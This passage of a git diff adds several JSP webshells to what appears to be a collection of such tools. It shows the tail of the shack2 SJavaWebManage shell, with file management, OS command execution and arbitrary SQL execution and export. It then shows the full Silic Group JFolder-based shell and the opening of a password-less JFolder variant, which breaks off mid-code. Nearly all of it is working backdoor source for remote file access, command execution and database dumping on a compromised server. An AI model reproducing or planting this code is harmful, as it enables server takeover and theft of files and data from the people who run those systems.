                + <% + } + %> + + <% + //文件管理 + if("FileManage".equals(m)){ + String dow=Util.getRequestStringVal(request, "do"); + String path=Util.getRequestStringVal(request, "path"); + if("upload".equals(dow)){ + if(!Util.isEmpty(path)){ + UploadFile.uploadFile(request.getInputStream(), PAGE_ENCODING,Integer.parseInt(request.getHeader("Content-Length")),path); + out.print(""); + //response.sendRedirect(shellPath+"?m=FileManage&dir="+path); + } + } + if("newFile".equals(dow)){ + if(!Util.isEmpty(path)){ + String isDir=Util.getRequestStringVal(request, "isDir"); + String fname=Util.getRequestStringVal(request, "fileName"); + FileUtil.newFile(path+"/"+fname,isDir); + out.print(""); + //response.sendRedirect(shellPath+"?m=FileManage&dir="+path); + } + } + else if("packFiles".equals(dow)){ + if(!Util.isEmpty(path)){ + String files=Util.getRequestStringVal(request, "files"); + String zipName=Util.getRequestStringVal(request, "zipName"); + String toPath=""; + if(Util.isEmpty(files)){ + File f=new File(path); + ZipUtils.createZip(path, Util.formatPath(f.getParent())+"/"+zipName+".zip"); + } + else{ + //打包多个文件 + toPath=path; + ZipUtils.createZip(files, path+"/"+zipName+".zip"); + } + + out.print(""); + //response.sendRedirect(shellPath+"?m=FileManage&dir="+path); + } + } + else if("editFile".equals(dow)){ + String encoding=Util.getRequestStringVal(request, "encode"); + String result=""; + String msg=""; + String content=Util.getRequestStringVal(request, "content"); + if(!Util.isEmpty(content)){ + msg=FileUtil.writeTextToFile(content, path, encoding); + result=content; + } + else{ + result=FileUtil.readFileToString(path,encoding); + } + %> +
                +
                + +
                + <%=msg %> + +
                + + +
                + +
                +
                +
                + <% + } + else if("delete".equals(dow)){ + if(!Util.isEmpty(path)){ + File f=new File(path); + String ppath=Util.formatPath(f.getParent()); + + //删除多个 + String files=Util.getRequestStringVal(request, "files"); + if(!Util.isEmpty(files)){ + String[] filesarry=files.split(","); + for(int i=0;ipost('"+shellPath+"',{'m':'FileManage','dir':'"+ppath+"'});"); + //response.sendRedirect(shellPath+"?m=FileManage&dir="+path); + } + + } + else if("downFile".equals(dow)){ + if(!Util.isEmpty(path)){ + File f=new File(path); + FileUtil.downLoadFile(response, path); + } + + } + else if(Util.isEmpty(dow)){ + int dirCount=0; + int fCount=0; + String dir=Util.getRequestStringVal(request, "dir"); + if(Util.isEmpty(dir)){ + //显示根目录文件列表 + dir=webRootPath; + } + dir=Util.formatPath((dir+"/")); + File f=new File(dir); + %> + +
                +
                +
                +
                + 当前磁盘路径: +
                +
                +
                +
                +   文件上传:   + +
                +
                + +
                + <% + File[] rfs=f.listRoots(); + + if(f.exists()){ + for(int i=0;i + 磁盘(<%=cf.getPath() %>) + + <% + } + %> + |Web根目录||新建文件夹||新建文件| +
                + +
                +
                +
                文件名称
                +
                上次修改时间
                +
                可读/可写
                +
                文件大小
                +
                   操作
                +
                + <% + //显示文件列表 + + File[] fs=f.listFiles(); + + for(int i=0;i + <% + String currentPath=Util.formatPath(dir+cf.getName()); + %> +
                +
                + + <%if(cf.isDirectory()){out.print(""+cf.getName()+"");}else{out.print(cf.getName());}%> +
                +
                <%=Util.formatDate(cf.lastModified())%>
                +
                <%=cf.canRead() %>/<%=cf.canWrite()%>
                +
                <%=FileUtil.getFileSize(cf.length())%>
                +
                + <%if(cf.isFile()){%>编辑 + <%}%> + <%if(cf.isFile()){%>下载 + <%}%> + + 打包 删除 +
                +
                + + <% + } + } + else{ + Util.print(out, 1, dir+"不存在!"); + } + %> +
                + + +
                + 全选反选删除选中项打包选中项 总计<%=dirCount %>文件夹,<%=fCount %>个文件 +
                + +
                + + + <% + + + } + } + %> + <% + if("CMDS".equals(m)){ + String cmd=Util.getRequestStringVal(request, "cmd"); + String encode=Util.getRequestStringVal(request, "encode"); + String result=""; + if(!Util.isEmpty(cmd)&&!Util.isEmpty(encode)){ + result=Util.execCmd(cmd,encode); + } + %> + + +
                +
                + 输入命令: +
                +
                <%=result%>
                +
                + + <% + } + %> + <% + if("DBManage".equals(m)){ + String dom=Util.getRequestStringVal(request, "do"); + String encode=Util.getRequestStringVal(request, "encode"); + + %> + +
                +

                DataBase Manager »

                + <% + if("connect".equals(dom)){ + String driver=Util.getRequestStringVal(request, "driver"); + String url=Util.getRequestStringVal(request, "url"); + String uid=Util.getRequestStringVal(request, "uid"); + String pwd=Util.getRequestStringVal(request, "pwd"); + String db=Util.getRequestStringVal(request, "mydb"); + DBUtil dbo=null; + try{ + dbo=(DBUtil)session.getAttribute(DBO); + }catch(Exception e){ + Util.print(out, 2, "需要重新连接成功!"); + if (!Util.isEmpty(driver) && !Util.isEmpty(url) && !Util.isEmpty(uid)&&!Util.isEmpty(pwd)) { + dbo = new DBUtil(driver,url,uid,pwd,true); + Util.print(out, 1, "创建新连接成功!"); + } + else{ + Util.print(out, 2, "连接信息没有填写完整!"); + } + } + + try{ + if (dbo == null || !((DBUtil)dbo).isValid()) { + if (dbo != null) + ((DBUtil)dbo).close(); + if (!Util.isEmpty(driver) && !Util.isEmpty(url) && !Util.isEmpty(uid)&&!Util.isEmpty(pwd)) { + dbo = new DBUtil(driver,url,uid,pwd,true); + Util.print(out, 1, "创建新连接成功!"); + } + else{ + Util.print(out, 2, "连接信息没有填写完整!"); + } + } + else { + if (!Util.isEmpty(driver) && !Util.isEmpty(url) && !Util.isEmpty(uid)&&!Util.isEmpty(pwd)) { + if(!dbo.notchange(driver, url, uid, pwd)){ + dbo.close(); + dbo = new DBUtil(driver,url,uid,pwd,true); + Util.print(out, 1, "创建新连接成功!"); + } + else{ + Util.print(out, 1, "取出上一次的连接!"); + } + } + else{ + Util.print(out, 1, "取出上一次的连接!"); + } + } + session.setAttribute(DBO,dbo); + }catch(Exception e){ + Util.print(out, 3, "发生了一点错误:"+e.getClass().getName()+": "+e.getMessage()); + } + + } + %> +
                + + + + + +
                +
                +
                + Driver: + URL: UID: PWD: DataBase: + +
                +
                +
                + <% + DBUtil dbo=null; + try{ + dbo=(DBUtil)session.getAttribute(DBO); + }catch(Exception e){ + session.removeAttribute(DBO); + Util.print(out, 2, "需要重新连接数据库!"); + } + + if(dbo!=null&&dbo.isValid()){ + + %> +
                +
                + + 数据库列表: 当前库所有表:<% + out.println(meta.getCatalogSeparator()); + %> + + + +
                +
                +

                自定义SQL执行:

                +
                + + +
                +
                + + +
                + + <% + if(!Util.isEmpty(currentDB)&&!Util.isEmpty(currentTable)){ + try { + String loadTableStruct=Util.getRequestStringVal(request, "loadTableStruct"); + String loadTableData=Util.getRequestStringVal(request, "loadTableData"); + String runsql=Util.getRequestStringVal(request, "runsql"); + String runmysql=Util.getRequestStringVal(request, "runmysql"); + if(!Util.isEmpty(loadTableStruct)){ + ResultSet rs = meta.getColumns(currentDB, null,currentTable, null); + ResultSetMetaData rsmeta = rs.getMetaData(); + int count = rsmeta.getColumnCount(); + out.println(""); + out.println(""); + out.println(""); + out.println(""); + out.println(""); + while(rs.next()){ + out.println(""); + out.println(""); + out.println(""); + out.println(""); + out.println(""); + } + rs.close(); + } + + if(!Util.isEmpty(loadTableData)){ + runmysql="select * from "+currentTable; + runsql="runsql"; + } + + if(!Util.isEmpty(runsql)){ + dbo.conn.setCatalog(currentDB); + Object obj=dbo.execute(runmysql); + if (obj instanceof ResultSet) { + + ResultSet rs = (ResultSet)obj; + ResultSetMetaData sqlmeta = rs.getMetaData(); + if(!Util.isEmpty(currentDB)){ + + } + int colCount = sqlmeta.getColumnCount(); + out.println(""); + for (int i=1;i<=colCount;i++) { + out.println(""); + } + out.println(""); + + while(rs.next()) { + out.println(""); + for (int i = 1;i<=colCount;i++) { + out.println(""); + } + out.println(""); + } + rs.close(); + } + + } + String exportTableData=Util.getRequestStringVal(request, "exportTableData"); + String downTableData=Util.getRequestStringVal(request, "downTableData"); + String exportDataPath=Util.getRequestStringVal(request, "exportDataPath"); + if (!Util.isEmpty(exportTableData)|| !Util.isEmpty(downTableData)) { + dbo.conn.setCatalog(currentDB); + if (Util.isEmpty(runmysql)) { + runmysql = "select * from " + currentTable; + } + + Object o = dbo.execute(runmysql); + byte[] rowSep = "\r\n".getBytes(); + if (o instanceof ResultSet) { + ResultSet rs = (ResultSet) o; + ResultSetMetaData dmeta = rs.getMetaData(); + int count = dmeta.getColumnCount(); + + BufferedOutputStream output = null; + DataOutputStream dout=null; + FileOutputStream fs=null; + if (!Util.isEmpty(exportDataPath)&& !Util.isEmpty(exportTableData)) { + //exportfile + fs=new FileOutputStream(new File(exportDataPath)); + output = new BufferedOutputStream(fs); + dout=new DataOutputStream(output); + + } else { + out.clear(); + out=pageContext.pushBody(); + //download. + response.setHeader( + "Content-Disposition", + "attachment;filename=DataExport.txt"); + output = new BufferedOutputStream( + response.getOutputStream()); + dout=new DataOutputStream(output); + } + + for (int i = 1; i <= count; i++) { + String colName = dmeta.getColumnName(i)+ "\t"; + byte[] b = null; + if (Util.isEmpty(encode)) { + b = colName.getBytes(); + } else { + b = colName.getBytes(encode); + } + dout.write(b, 0, b.length); + } + + dout.write(rowSep, 0, rowSep.length); + while (rs.next()) { + for (int i = 1; i <= count; i++) { + String v = null; + try { + v = rs.getString(i); + + } catch (Exception ex) { + v = ""; + } + v += "\t"; + + byte[] b = null; + if (Util.isEmpty(encode)) { + b = v.getBytes(); + + } else { + b = v.getBytes(encode); + } + dout.write(b, 0, b.length); + } + dout.write(rowSep, 0, rowSep.length); + } + rs.close(); + if(dout!=null){ + dout.close(); + } + if(output!=null){ + output.close(); + } + if(fs!=null){ + fs.close(); + } + } + } + + } catch (Exception e) { + Util.print(out, 3, e.getMessage()); + } + + } + %> +
                COLUMN_NAMETYPE_NAMECOLUMN_SIZE
                "+rs.getString("COLUMN_NAME")+""+rs.getString("TYPE_NAME")+""+rs.getString("COLUMN_SIZE")+"
                "+sqlmeta.getColumnName(i)+"("+sqlmeta.getColumnTypeName(i)+")
                "+rs.getString(i)+"
                +
                + +
                + <% + } + %> + +
                + + <% + } + %> +
                + +
                + Copyright (c) 2014-2016 http://www.shack2.org + All Rights Reserved| coded by shack2 | Powered By SJavaWebManage| + 当前版本:<%=VERSION%>
                +
                + + + diff --git a/jsp/silic Shell.jsp b/jsp/silic Shell.jsp new file mode 100644 index 0000000..c55428e --- /dev/null +++ b/jsp/silic Shell.jsp @@ -0,0 +1,844 @@ +<%@ page contentType="text/html;charset=gb2312"%> +<%@page import="java.io.*,java.util.*,java.net.*" %> +<%! +private final static int languageNo=0; +String strThisFile="JFolder.jsp"; +String[] authorInfo={"Silic Group"}; +String[] strFileManage = {"文 件 管 理","File Management"}; +String[] strCommand = {"CMD 命 令","Command Window"}; +String[] strSysProperty = {"系 统 属 性","System Property"}; +String[] strHelp = {"帮 助","Help"}; +String[] strParentFolder = {"上级目录","Parent Folder"}; +String[] strCurrentFolder= {"当前目录","Current Folder"}; +String[] strDrivers = {"驱动器","Drivers"}; +String[] strFileName = {"文件名称","File Name"}; +String[] strFileSize = {"文件大小","File Size"}; +String[] strLastModified = {"最后修改","Last Modified"}; +String[] strFileOperation= {"文件操作","Operations"}; +String[] strFileEdit = {"修改","Edit"}; +String[] strFileDown = {"下载","Download"}; +String[] strFileCopy = {"复制","Move"}; +String[] strFileDel = {"删除","Delete"}; +String[] strExecute = {"执行","Execute"}; +String[] strBack = {"返回","Back"}; +String[] strFileSave = {"保存","Save"}; +public class FileHandler +{ + private String strAction=""; + private String strFile=""; + void FileHandler(String action,String f) + { + } +} +public static class UploadMonitor { + static Hashtable uploadTable = new Hashtable(); + static void set(String fName, UplInfo info) { + uploadTable.put(fName, info); + } + static void remove(String fName) { + uploadTable.remove(fName); + } + static UplInfo getInfo(String fName) { + UplInfo info = (UplInfo) uploadTable.get(fName); + return info; + } +} +public class UplInfo { + public long totalSize; + public long currSize; + public long starttime; + public boolean aborted; + public UplInfo() { + totalSize = 0l; + currSize = 0l; + starttime = System.currentTimeMillis(); + aborted = false; + } + public UplInfo(int size) { + totalSize = size; + currSize = 0; + starttime = System.currentTimeMillis(); + aborted = false; + } + public String getUprate() { + long time = System.currentTimeMillis() - starttime; + if (time != 0) { + long uprate = currSize * 1000 / time; + return convertFileSize(uprate) + "/s"; + } + else return "n/a"; + } + public int getPercent() { + if (totalSize == 0) return 0; + else return (int) (currSize * 100 / totalSize); + } + public String getTimeElapsed() { + long time = (System.currentTimeMillis() - starttime) / 1000l; + if (time - 60l >= 0){ + if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m"; + else return time / 60 + ":0" + (time % 60) + "m"; + } + else return time<10 ? "0" + time + "s": time + "s"; + } + public String getTimeEstimated() { + if (currSize == 0) return "n/a"; + long time = System.currentTimeMillis() - starttime; + time = totalSize * time / currSize; + time /= 1000l; + if (time - 60l >= 0){ + if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m"; + else return time / 60 + ":0" + (time % 60) + "m"; + } + else return time<10 ? "0" + time + "s": time + "s"; + } +} + public class FileInfo { + public String name = null, clientFileName = null, fileContentType = null; + private byte[] fileContents = null; + public File file = null; + public StringBuffer sb = new StringBuffer(100); + public void setFileContents(byte[] aByteArray) { + fileContents = new byte[aByteArray.length]; + System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length); + } +} +public class HttpMultiPartParser { + private final String lineSeparator = System.getProperty("line.separator", "\n"); + private final int ONE_MB = 1024 * 1; + public Hashtable processData(ServletInputStream is, String boundary, String saveInDir, + int clength) throws IllegalArgumentException, IOException { + if (is == null) throw new IllegalArgumentException("InputStream"); + if (boundary == null || boundary.trim().length() < 1) throw new IllegalArgumentException( + "\"" + boundary + "\" is an illegal boundary indicator"); + boundary = "--" + boundary; + StringTokenizer stLine = null, stFields = null; + FileInfo fileInfo = null; + Hashtable dataTable = new Hashtable(5); + String line = null, field = null, paramName = null; + boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0); + boolean isFile = false; + if (saveFiles) { // Create the required directory (including parent dirs) + File f = new File(saveInDir); + f.mkdirs(); + } + line = getLine(is); + if (line == null || !line.startsWith(boundary)) throw new IOException( + "Boundary not found; boundary = " + boundary + ", line = " + line); + while (line != null) { + if (line == null || !line.startsWith(boundary)) return dataTable; + line = getLine(is); + if (line == null) return dataTable; + stLine = new StringTokenizer(line, ";\r\n"); + if (stLine.countTokens() < 2) throw new IllegalArgumentException( + "Bad data in second line"); + line = stLine.nextToken().toLowerCase(); + if (line.indexOf("form-data") < 0) throw new IllegalArgumentException( + "Bad data in second line"); + stFields = new StringTokenizer(stLine.nextToken(), "=\""); + if (stFields.countTokens() < 2) throw new IllegalArgumentException( + "Bad data in second line"); + fileInfo = new FileInfo(); + stFields.nextToken(); + paramName = stFields.nextToken(); + isFile = false; + if (stLine.hasMoreTokens()) { + field = stLine.nextToken(); + stFields = new StringTokenizer(field, "=\""); + if (stFields.countTokens() > 1) { + if (stFields.nextToken().trim().equalsIgnoreCase("filename")) { + fileInfo.name = paramName; + String value = stFields.nextToken(); + if (value != null && value.trim().length() > 0) { + fileInfo.clientFileName = value; + isFile = true; + } + else { + line = getLine(is); // Skip "Content-Type:" line + line = getLine(is); // Skip blank line + line = getLine(is); // Skip blank line + line = getLine(is); // Position to boundary line + continue; + } + } + } + else if (field.toLowerCase().indexOf("filename") >= 0) { + line = getLine(is); // Skip "Content-Type:" line + line = getLine(is); // Skip blank line + line = getLine(is); // Skip blank line + line = getLine(is); // Position to boundary line + continue; + } + } + boolean skipBlankLine = true; + if (isFile) { + line = getLine(is); + if (line == null) return dataTable; + if (line.trim().length() < 1) skipBlankLine = false; + else { + stLine = new StringTokenizer(line, ": "); + if (stLine.countTokens() < 2) throw new IllegalArgumentException( + "Bad data in third line"); + stLine.nextToken(); // Content-Type + fileInfo.fileContentType = stLine.nextToken(); + } + } + if (skipBlankLine) { + line = getLine(is); + if (line == null) return dataTable; + } + if (!isFile) { + line = getLine(is); + if (line == null) return dataTable; + dataTable.put(paramName, line); + // If parameter is dir, change saveInDir to dir + if (paramName.equals("dir")) saveInDir = line; + line = getLine(is); + continue; + } + try { + UplInfo uplInfo = new UplInfo(clength); + UploadMonitor.set(fileInfo.clientFileName, uplInfo); + OutputStream os = null; + String path = null; + if (saveFiles) os = new FileOutputStream(path = getFileName(saveInDir, + fileInfo.clientFileName)); + else os = new ByteArrayOutputStream(ONE_MB); + boolean readingContent = true; + byte previousLine[] = new byte[2 * ONE_MB]; + byte temp[] = null; + byte currentLine[] = new byte[2 * ONE_MB]; + int read, read3; + if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) { + line = null; + break; + } + while (readingContent) { + if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) { + line = null; + uplInfo.aborted = true; + break; + } + if (compareBoundary(boundary, currentLine)) { + os.write(previousLine, 0, read - 2); + line = new String(currentLine, 0, read3); + break; + } + else { + os.write(previousLine, 0, read); + uplInfo.currSize += read; + temp = currentLine; + currentLine = previousLine; + previousLine = temp; + read = read3; + }//end else + }//end while + os.flush(); + os.close(); + if (!saveFiles) { + ByteArrayOutputStream baos = (ByteArrayOutputStream) os; + fileInfo.setFileContents(baos.toByteArray()); + } + else fileInfo.file = new File(path); + dataTable.put(paramName, fileInfo); + uplInfo.currSize = uplInfo.totalSize; + }//end try + catch (IOException e) { + throw e; + } + } + return dataTable; + } + private boolean compareBoundary(String boundary, byte ba[]) { + byte b; + if (boundary == null || ba == null) return false; + for (int i = 0; i < boundary.length(); i++) + if ((byte) boundary.charAt(i) != ba[i]) return false; + return true; + } + private synchronized String getLine(ServletInputStream sis) throws IOException { + byte b[] = new byte[1024]; + int read = sis.readLine(b, 0, b.length), index; + String line = null; + if (read != -1) { + line = new String(b, 0, read); + if ((index = line.indexOf('\n')) >= 0) line = line.substring(0, index - 1); + } + return line; + } + public String getFileName(String dir, String fileName) throws IllegalArgumentException { + String path = null; + if (dir == null || fileName == null) throw new IllegalArgumentException( + "dir or fileName is null"); + int index = fileName.lastIndexOf('/'); + String name = null; + if (index >= 0) name = fileName.substring(index + 1); + else name = fileName; + index = name.lastIndexOf('\\'); + if (index >= 0) fileName = name.substring(index + 1); + path = dir + File.separator + fileName; + if (File.separatorChar == '/') return path.replace('\\', File.separatorChar); + else return path.replace('/', File.separatorChar); + } +} +String formatPath(String p) +{ + StringBuffer sb=new StringBuffer(); + for (int i = 0; i < p.length(); i++) + { + if(p.charAt(i)=='\\') + { + sb.append("\\\\"); + } + else + { + sb.append(p.charAt(i)); + } + } + return sb.toString(); +} + static String conv2Html(int i) { + if (i == '&') return "&"; + else if (i == '<') return "<"; + else if (i == '>') return ">"; + else if (i == '"') return """; + else return "" + (char) i; + } + static String htmlEncode(String st) { + StringBuffer buf = new StringBuffer(); + for (int i = 0; i < st.length(); i++) { + buf.append(conv2Html(st.charAt(i))); + } + return buf.toString(); + } +String getDrivers() +{ + StringBuffer sb=new StringBuffer(strDrivers[languageNo] + " : "); + File roots[]=File.listRoots(); + for(int i=0;i"); + sb.append(roots[i]+" "); + } + return sb.toString(); +} +static String convertFileSize(long filesize) +{ + String strUnit="Bytes"; + String strAfterComma=""; + int intDivisor=1; + if(filesize>=1024*1024) + { + strUnit = "MB"; + intDivisor=1024*1024; + } + else if(filesize>=1024) + { + strUnit = "KB"; + intDivisor=1024; + } + if(intDivisor==1) return filesize + " " + strUnit; + strAfterComma = "" + 100 * (filesize % intDivisor) / intDivisor ; + if(strAfterComma=="") strAfterComma=".0"; + return filesize / intDivisor + "." + strAfterComma + " " + strUnit; +} +%> +<% +request.setCharacterEncoding("gb2312"); +String tabID = request.getParameter("tabID"); +String strDir = request.getParameter("path"); +String strAction = request.getParameter("action"); +String strFile = request.getParameter("file"); +String strPath = strDir + "\\" + strFile; +String strCmd = request.getParameter("cmd"); +StringBuffer sbEdit=new StringBuffer(""); +StringBuffer sbDown=new StringBuffer(""); +StringBuffer sbCopy=new StringBuffer(""); +StringBuffer sbSaveCopy=new StringBuffer(""); +StringBuffer sbNewFile=new StringBuffer(""); +if((tabID==null) || tabID.equals("")) +{ + tabID = "1"; +} +if(strDir==null||strDir.length()<1) +{ + strDir = request.getRealPath("/"); +} +if(strAction!=null && strAction.equals("down")) +{ + File f=new File(strPath); + if(f.length()==0) + { + sbDown.append("文件大小为 0 字节,就不用下了吧"); + } + else + { + response.setHeader("content-type","text/html; charset=ISO-8859-1"); + response.setContentType("APPLICATION/OCTET-STREAM"); + response.setHeader("Content-Disposition","attachment; filename=\""+f.getName()+"\""); + FileInputStream fileInputStream =new FileInputStream(f.getAbsolutePath()); + out.clearBuffer(); + int i; + while ((i=fileInputStream.read()) != -1) + { + out.write(i); + } + fileInputStream.close(); + out.close(); + } +} +if(strAction!=null && strAction.equals("del")) +{ + File f=new File(strPath); + f.delete(); +} +if(strAction!=null && strAction.equals("edit")) +{ + File f=new File(strPath); + BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(f))); + sbEdit.append("
                \r\n"); + sbEdit.append("\r\n"); + sbEdit.append("\r\n"); + sbEdit.append("\r\n"); + sbEdit.append(" "); + sbEdit.append("  "+strPath+"\r\n"); + sbEdit.append("
                "); + sbEdit.append(""); + sbEdit.append("
                "); +} +if(strAction!=null && strAction.equals("save")) +{ + File f=new File(strPath); + BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(f))); + String strContent=request.getParameter("content"); + bw.write(strContent); + bw.close(); +} +if(strAction!=null && strAction.equals("copy")) +{ + File f=new File(strPath); + sbCopy.append("
                \r\n"); + sbCopy.append("\r\n"); + sbCopy.append("\r\n"); + sbCopy.append("\r\n"); + sbCopy.append("原始文件: "+strPath+"

                "); + sbCopy.append("目标文件:

                "); + sbCopy.append(" "); + sbCopy.append("

                 \r\n"); + sbCopy.append("

                "); +} +if(strAction!=null && strAction.equals("savecopy")) +{ + File f=new File(strPath); + String strDesFile=request.getParameter("file2"); + if(strDesFile==null || strDesFile.equals("")) + { + sbSaveCopy.append("

                目标文件错误。"); + } + else + { + File f_des=new File(strDesFile); + if(f_des.isFile()) + { + sbSaveCopy.append("

                目标文件已存在,不能复制。"); + } + else + { + String strTmpFile=strDesFile; + if(f_des.isDirectory()) + { + if(!strDesFile.endsWith("\\")) + { + strDesFile=strDesFile+"\\"; + } + strTmpFile=strDesFile+"cqq_"+strFile; + } + File f_des_copy=new File(strTmpFile); + FileInputStream in1=new FileInputStream(f); + FileOutputStream out1=new FileOutputStream(f_des_copy); + byte[] buffer=new byte[1024]; + int c; + while((c=in1.read(buffer))!=-1) + { + out1.write(buffer,0,c); + } + in1.close(); + out1.close(); + sbSaveCopy.append("原始文件 :"+strPath+"

                "); + sbSaveCopy.append("目标文件 :"+strTmpFile+"

                "); + sbSaveCopy.append("复制成功!"); + } + } + sbSaveCopy.append("

                "); +} +if(strAction!=null && strAction.equals("newFile")) +{ + String strF=request.getParameter("fileName"); + String strType1=request.getParameter("btnNewFile"); + String strType2=request.getParameter("btnNewDir"); + String strType=""; + if(strType1==null) + { + strType="Dir"; + } + else if(strType2==null) + { + strType="File"; + } + if(!strType.equals("") && !(strF==null || strF.equals(""))) + { + File f_new=new File(strF); + if(strType.equals("File") && !f_new.createNewFile()) + sbNewFile.append(strF+" 文件创建失败"); + if(strType.equals("Dir") && !f_new.mkdirs()) + sbNewFile.append(strF+" 目录创建失败"); + } + else + { + sbNewFile.append("

                建立文件或目录失败"); + } +} +if((request.getContentType()!= null) && (request.getContentType().toLowerCase().startsWith("multipart"))) +{ + String tempdir="."; + boolean error=false; + response.setContentType("text/html"); + sbNewFile.append("

                建立文件或目录失败"); + HttpMultiPartParser parser = new HttpMultiPartParser(); + int bstart = request.getContentType().lastIndexOf("oundary="); + String bound = request.getContentType().substring(bstart + 8); + int clength = request.getContentLength(); + Hashtable ht = parser.processData(request.getInputStream(), bound, tempdir, clength); + if (ht.get("cqqUploadFile") != null) + { + FileInfo fi = (FileInfo) ht.get("cqqUploadFile"); + File f1 = fi.file; + UplInfo info = UploadMonitor.getInfo(fi.clientFileName); + if (info != null && info.aborted) + { + f1.delete(); + request.setAttribute("error", "Upload aborted"); + } + else + { + String path = (String) ht.get("path"); + if(path!=null && !path.endsWith("\\")) + path = path + "\\"; + if (!f1.renameTo(new File(path + f1.getName()))) + { + request.setAttribute("error", "Cannot upload file."); + error = true; + f1.delete(); + } + } + } +} +%> + + + + +::Silic Group:: + + +

                + + + + + + +
                + + + +<% +StringBuffer sbFolder=new StringBuffer(""); +StringBuffer sbFile=new StringBuffer(""); +try +{ + File objFile = new File(strDir); + File list[] = objFile.listFiles(); + if(objFile.getAbsolutePath().length()>3) + { + sbFolder.append(" "); + sbFolder.append(strParentFolder[languageNo]+"
                - - - - - - - - - - - \r\n "); + } + for(int i=0;i "); + sbFolder.append(" "); + sbFolder.append(list[i].getName()+"
                "); + } + else + { + String strLen=""; + String strDT=""; + long lFile=0; + lFile=list[i].length(); + strLen = convertFileSize(lFile); + Date dt=new Date(list[i].lastModified()); + strDT=dt.toLocaleString(); + sbFile.append(""); + sbFile.append(""+list[i].getName()); + sbFile.append(""); + sbFile.append(""+strLen); + sbFile.append(""); + sbFile.append(""+strDT); + sbFile.append(""); + sbFile.append("  "); + sbFile.append(strFileEdit[languageNo]+" "); + sbFile.append("  "); + sbFile.append(strFileDel[languageNo]+" "); + sbFile.append("  "); + sbFile.append(strFileDown[languageNo]+" "); + sbFile.append("  "); + sbFile.append(strFileCopy[languageNo]+" "); + } + + } +} +catch(Exception e) +{ + out.println("操作失败: "+e.toString()+""); +} +%> +
                + + + + +
                +
                All Rights Reserved, blackbap.org © Silic Group Inc.
                diff --git "a/jsp/\346\227\240\345\257\206\347\240\201\347\232\204jsp\345\244\247\351\251\254shell.jsp" "b/jsp/\346\227\240\345\257\206\347\240\201\347\232\204jsp\345\244\247\351\251\254shell.jsp" new file mode 100644 index 0000000..404e7b9 --- /dev/null +++ "b/jsp/\346\227\240\345\257\206\347\240\201\347\232\204jsp\345\244\247\351\251\254shell.jsp" @@ -0,0 +1,993 @@ +<% +/** +JFolder V0.9 windows platform +@Filename: JFolder.jsp +@Description: 一个简单的系统文件目录显示程序,类似于资源管理器,提供基本的文件操作,不过功能较弱。 + +@Bugs : 下载时,中文文件名无法正常显示 +*/ +%> +<%@ page contentType="text/html;charset=gb2312"%> +<%@page import="java.io.*,java.util.*,java.net.*" %> +<%! +private final static int languageNo=0; //语言版本,0 : 中文; 1:英文 +String strThisFile="JFolder.jsp"; +String[] authorInfo={" 岁月联盟-专用版 "," Thanks for your support - - by Steven Cee http://www.topronet.com "}; +String[] strFileManage = {"文 件 管 理","File Management"}; +String[] strCommand = {"CMD 命 令","Command Window"}; +String[] strSysProperty = {"系 统 属 性","System Property"}; +String[] strHelp = {"帮 助","Help"}; +String[] strParentFolder = {"上级目录","Parent Folder"}; +String[] strCurrentFolder= {"当前目录","Current Folder"}; +String[] strDrivers = {"驱动器","Drivers"}; +String[] strFileName = {"文件名称","File Name"}; +String[] strFileSize = {"文件大小","File Size"}; +String[] strLastModified = {"最后修改","Last Modified"}; +String[] strFileOperation= {"文件操作","Operations"}; +String[] strFileEdit = {"修改","Edit"}; +String[] strFileDown = {"下载","Download"}; +String[] strFileCopy = {"复制","Move"}; +String[] strFileDel = {"删除","Delete"}; +String[] strExecute = {"执行","Execute"}; +String[] strBack = {"返回","Back"}; +String[] strFileSave = {"保存","Save"}; + +public class FileHandler +{ + private String strAction=""; + private String strFile=""; + void FileHandler(String action,String f) + { + + } +} + +public static class UploadMonitor { + + static Hashtable uploadTable = new Hashtable(); + + static void set(String fName, UplInfo info) { + uploadTable.put(fName, info); + } + + static void remove(String fName) { + uploadTable.remove(fName); + } + + static UplInfo getInfo(String fName) { + UplInfo info = (UplInfo) uploadTable.get(fName); + return info; + } +} + +public class UplInfo { + + public long totalSize; + public long currSize; + public long starttime; + public boolean aborted; + + public UplInfo() { + totalSize = 0l; + currSize = 0l; + starttime = System.currentTimeMillis(); + aborted = false; + } + + public UplInfo(int size) { + totalSize = size; + currSize = 0; + starttime = System.currentTimeMillis(); + aborted = false; + } + + public String getUprate() { + long time = System.currentTimeMillis() - starttime; + if (time != 0) { + long uprate = currSize * 1000 / time; + return convertFileSize(uprate) + "/s"; + } + else return "n/a"; + } + + public int getPercent() { + if (totalSize == 0) return 0; + else return (int) (currSize * 100 / totalSize); + } + + public String getTimeElapsed() { + long time = (System.currentTimeMillis() - starttime) / 1000l; + if (time - 60l >= 0){ + if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m"; + else return time / 60 + ":0" + (time % 60) + "m"; + } + else return time<10 ? "0" + time + "s": time + "s"; + } + + public String getTimeEstimated() { + if (currSize == 0) return "n/a"; + long time = System.currentTimeMillis() - starttime; + time = totalSize * time / currSize; + time /= 1000l; + if (time - 60l >= 0){ + if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m"; + else return time / 60 + ":0" + (time % 60) + "m"; + } + else return time<10 ? "0" + time + "s": time + "s"; + } + + } + + public class FileInfo { + + public String name = null, clientFileName = null, fileContentType = null; + private byte[] fileContents = null; + public File file = null; + public StringBuffer sb = new StringBuffer(100); + + public void setFileContents(byte[] aByteArray) { + fileContents = new byte[aByteArray.length]; + System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length); + } +} + +// A Class with methods used to process a ServletInputStream +public class HttpMultiPartParser { + + private final String lineSeparator = System.getProperty("line.separator", "\n"); + private final int ONE_MB = 1024 * 1; + + public Hashtable processData(ServletInputStream is, String boundary, String saveInDir, + int clength) throws IllegalArgumentException, IOException { + if (is == null) throw new IllegalArgumentException("InputStream"); + if (boundary == null || boundary.trim().length() < 1) throw new IllegalArgumentException( + "\"" + boundary + "\" is an illegal boundary indicator"); + boundary = "--" + boundary; + StringTokenizer stLine = null, stFields = null; + 